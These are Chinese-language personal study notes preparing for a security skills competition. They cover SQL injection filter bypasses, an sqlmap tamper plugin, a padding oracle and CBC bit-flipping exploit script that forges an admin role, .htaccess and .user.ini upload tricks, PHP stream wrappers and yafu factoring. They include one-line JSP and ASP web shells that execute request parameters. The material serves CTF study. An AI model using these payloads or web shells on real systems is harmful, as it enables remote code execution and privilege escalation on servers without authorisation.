世赛准备
2202年还在看这种考点。
Web
sql 部分
group by ... having 代替 where
mid 代替 substr
堆叠中 alter换列。
Sqlmap玩法
--method=put指定请求方式。
--safe-url --safe-freq 来鉴权请求。提前请求。
--tamper=space2comment 加载插件
Tamper插件编写示例:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace("=", " like ").replace(" ", chr(0x09))
笛卡尔积:SELECT count(*) FROM information_schema.columns A, information_schema.tables B;
无列名:如3个列:
报错注入:
updatexml(1,concat(),1)
extractvalue(1,concat())
QUINE-SQL:
https://blog.csdn.net/weixin_53090346/article/details/125531088
CBC字节翻转
直接一道例题: Point System
顺便把padding oracle也给补了。
padding oracle也是利用了aes cbc的每组密文会作为下一组的iv 以及 pkcs的填充性质来的。
然后他就算你正好满块也会给你完全填充一块。。。 这我是看了他里面
AES中CBC模式在相邻两个分组中的加密区别为以上一个的结果做为新一轮的iv进行加密。
然后padding oracle就会从这个最后一组pad入手得到前一组的密文。以此往前慢慢推。
我们可以通过构造 00*n+0x?? 来看他是否满足只有1pad 的情况。也就是最后得到的需要时0x01否则那边解密就会失败。
那么得到成功的值的时候我们就知道了最后一字节的中间加密值,然后就往前推。
00*(n-1)+0x??+0xab 从而知道倒数第二个。最后全部得到之后,再和上一块进行xor 就可以得到这块的明文了。
def xor(get,res):
ret_res=''
for i in range(0,len(get)):
ret_res+=chr(get[i]^ord(res[i%len(res)]))
return ret_res
all_plain=''
for i in range(0,18):
back_block=now_key[i*16+16:32+i*16]
token=b''
get=b''
for j in range(1,17):
for k in range(0,256):
time.sleep(0.5)
now_block=now_key[i*16:16+i*16]
pad=xor(get,chr(j)*(j-1))
weizao=((chr(0)*(16-j))+chr(k)+pad).encode('utf-8')+back_block
now_block=base64.b64encode(now_block+weizao)
user_key_json_decode['signed_key'] = now_block.decode('utf-8')
header = {'Key': base64.b64encode(json.dumps(user_key_json_decode).encode('utf-8'))}
ress = requests.get(url, headers=header)
if ress.json()['code'] == 206:
get = (j ^ k).to_bytes(1, 'little') + get
print(get,j)
break
plain=xor(get,now_key[i*16:16+i*16].decode('utf-8'))
all_plain+=plain
print(all_plain)
CBC attack 主要是由于解密过程中下一块的xor iv是上一块密文,也是padding oracle中解密的操作的原理。
推导在上面。这就是这题的解题方法了。
def cbc_attack(key, block, origin_content, target_content):
user_key_decode = base64.b64decode(key)
#print(user_key_decode)
user_key_json_decode = json.loads(user_key_decode)
signed_key = user_key_json_decode['signed_key']
#print(signed_key)
cipher_o = base64.b64decode(signed_key)
#print(cipher_o)
if block > 0:
iv_prefix = cipher_o[:block * 16]
else:
iv_prefix = b''
iv = cipher_o[block * 16:16 + block * 16]
cipher = cipher_o[16 + block * 16:]
iv_array = bytearray(iv)
for i in range(0, 16):
iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])
iv = bytes(iv_array)
#print(iv)
user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher).decode('utf-8')
return base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8"))
def get_user_info(key):
r = requests.post("http://" + host + ":" + str(port) + "/frontend/api/v1/user/info", headers={"Key": key})
if r.json()['code'] == 100:
print("获取成功!")
return r.json()['data']
def modify_role_plain(key, role):
user_key_decode = base64.b64decode(user_key)
user_key_json_decode = json.loads(user_key_decode)
user_key_json_decode['role'] = role
return base64.b64encode(bytes(json.dumps(user_key_json_decode), 'utf-8')).decode('utf-8')
user_key = cbc_attack(
"eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVS\
HNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4Lysx\
WldiMU1CUTNxVEplL2lGcExsbTlUNGxFQkZrOFNmQ1lvRW96MTdMQlp\
jV25VOS92WkxuMHBiVVliakF3RUJqV0s1ZldXb3ZIeG1JRG9wRHFHTVF\
jQ0tBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiMVU1\
Rm0zWGk3VE12dllGaFZxQkluVWZ2MGJxNEFpTWYiLCJleHBpcmVfaW4iO\
jE1NzA1MjU0MTB9", 0, '{"role":3,"user_', '{"role":1,"user_')
然后也只有一块的这一byte会被改。大体没啥问题。
变量覆盖、伪协议 弱类型 文件上传.
文件上传
简单的不说了 记录几个总需要查的:
htaccess:
htaccess 的语法:
第一,为后端不能执行的文件类型增加执行的权限,即将 ppt 后缀的文件当作php 文件执行;
处理 PHP 文件时用到:Add Type,即: Add Type application/x-httpd-php .php
上述的代码将所有 .php 为后缀的所有文件当作了 PHP 的文件进行处理,可能这么说会有一点别扭,但是其实从 htaccess 容易被绕过的特性,上边的语句可以被攻击者篡改,从后边的CTF的题目可以详细了解到这个覆盖的过程。
第二,在 htaccess 的文件中增加对应的 Require 文件;
php_value auto_append_file "php://filter/convert.base64-decode/resource=mn.ppt"
这种就是增加解析。
AddType application/x-httpd-php .html
php_value auto_append_file "php://filter/convert.base64-decode/resource=a.html"
增加解析的写法:
AddHandler php5-script .jpg
SetHandler application/x-httpd-php
AddType application/x-httpd-php .jpg
Sethandler application/x-httpd-php
增加自引用文件:
php_value auto_prepend_file "/home/fdipzone/header.php" 同时可以用伪协议。
php_value auto_append_file "/home/fdipzone/footer.php"
然后还有一些利用404页面的
ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php
有一个题:
ErrorDocument 404 "y4tacker"
利用这种方式盲注。
甚至可以包含自己:
php_value auto_append_file .htaccess
<?php phpinfo();
其他方法就不说了。
一些非php文件的上传:
jsp:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
<%out.println("Hello world");%>
asp:
<%eval request("a")%>
<%Response.Write("hello world")%>
.user.ini文件,只要以 fastcgi 运行的 php 都可生效
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。它包含在所有php文件前先执行
auto_append_file=a.jpg //解析后进行包含,它包含在所有php文件执行后执行
JS:
https://bycsec.top/2020/04/20/Nodejs%E7%9A%84%E4%B8%80%E4%BA%9B%E6%8A%80%E5%B7%A7/
伪协议:感觉也没啥好说的了。
file:///
php://filter/read=convert.base64-encode/resource= | string.rot13 应该这些iconv都可以。
data://text/plain,payload
data://text/plain;base64, 加个编码也可。
PHP弱类型:https://blog.csdn.net/m0_51428325/article/details/122159364
反序列化
Crypto
yafu玩法
进去factor
如果数字过长报错:
factor(@) -batchfile test.txt